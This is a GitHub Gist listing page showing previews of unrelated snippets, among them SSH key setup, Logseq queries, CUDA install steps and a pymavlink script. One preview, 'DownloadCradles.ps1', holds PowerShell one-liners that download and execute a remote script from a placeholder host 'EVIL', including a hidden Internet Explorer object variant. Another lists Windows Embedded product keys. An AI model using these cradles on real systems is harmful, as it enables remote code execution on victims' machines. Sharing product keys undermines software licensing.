Skip to content

Instantly share code, notes, and snippets.

@Sotatek-NuiTran
Sotatek-NuiTran / multi_ssh_git.md
Last active May 11, 2024 17:12
Setup SSH keys for multiple github and gitlab account

Setup SSH keys for multiple github and gitlab account

Prepare SSH keys:

Add a new key

$ ssh-keygen -t rsa_new -C "your_email@youremail.com"

Start ssh-agent

$ eval `ssh-agent -s`
@psu
psu / logseq-config-default-queries.edn
Last active May 11, 2024 17:11
logseq-config-default-queries.edn
;; Logseq Default Query 6-pack
;; ---------------------------
;;
;; Pontus Sundén (@psu)
;; October 28, 2022
;;
;; Attribution
;; - https://gist.github.com/sawhney17/3a1b04936f35df80253431a61cb74737
;;
;; ---------------------------
@RaduTek
RaduTek / Windows Embedded POSready 2009.txt
Last active May 11, 2024 17:09
Windows Embedded Standard Product Keys
WEPOS2009 Full keys:
KGRMV-TWG8H-43Y2K-7PJBC-PM4CB (Unknown, OEM)
XM633-9YG7Y-47JM6-4QMF8-XPKYG (Unknown, OEM)
XPT4M-RKVC9-4YQWT-JJP76-RBXD3 (Full)
WEPOS2009 Other keys (might be Evaluation, don't use):
KFF8R-TMHF4-GKT2P-KGDHH-FXPMB
D4GQ7-HG48K-7YP6R-6JM4C-33FMQ
@alexweberk
alexweberk / mlx_finetuning_gemma.ipynb
Last active May 11, 2024 17:09
MLX Fine-tuning Google Gemma
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active May 11, 2024 17:08
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
# This supports merging as many adapters as you want.
# python merge_adapters.py --base_model_name_or_path <base_model> --peft_model_paths <adapter1> <adapter2> <adapter3> --output_dir <merged_model>
from transformers import AutoModelForCausalLM, AutoTokenizer
from peft import PeftModel
import torch
import os
import argparse
@MihailCosmin
MihailCosmin / cuda_11.8_installation_on_Ubuntu_22.04
Last active May 11, 2024 17:10 — forked from primus852/cuda_11.7_installation_on_Ubuntu_22.04
Instructions for CUDA v11.8 and cuDNN 8.7 installation on Ubuntu 22.04 for PyTorch 2.0.0
#!/bin/bash
### steps ####
# verify the system has a cuda-capable gpu
# download and install the nvidia cuda toolkit and cudnn
# setup environmental variables
# verify the installation
###
### to verify your gpu is cuda enable check
@tkphd
tkphd / bite-size.tex
Created March 8, 2019 01:16
Modifications for @B0rk's excellent Bite Size Networking to get a proper 2-sided booklet
% Modifications for @b0rk's excellent Bite Size Networking
% to get a proper 2-sided booklet
\documentclass[12pt]{article}
\usepackage{graphicx,pdfpages}
\usepackage[paperheight=11in,paperwidth=8.5in,margin=0in]{geometry}
\pagestyle{empty}
\begin{document}
\begin{figure}\centering
\vskip-1cm
\includegraphics[page=24,width=8.25in,angle=180]{bite-size-networking.pdf}
@ES-Alexander
ES-Alexander / mavactive.py
Last active May 11, 2024 16:55
An example of using `RC_OVERRIDE`s for basic vehicle control with Pymavlink. Includes a variety of other convenience functions.
from builtins import object
import weakref
from time import sleep
from threading import Thread, Event, Lock
from pymavlink import mavutil
import pymavlink.dialects.v20.ardupilotmega as mavlink
class WriteLockedFile(object):
@willnode
willnode / gemastik-0.md
Last active May 11, 2024 16:55
Soal Penyisihan Competitive Programming - Gemastik 11

1. Urutan Aneh

Deskripsi

Buatlah program yang melakukan pengurutan N (2≤N≤1000) buah bilangan seperti pada contoh kasus di bawah ini.

Format Masukan

  • Baris pertama berisi satu buah bilangan N.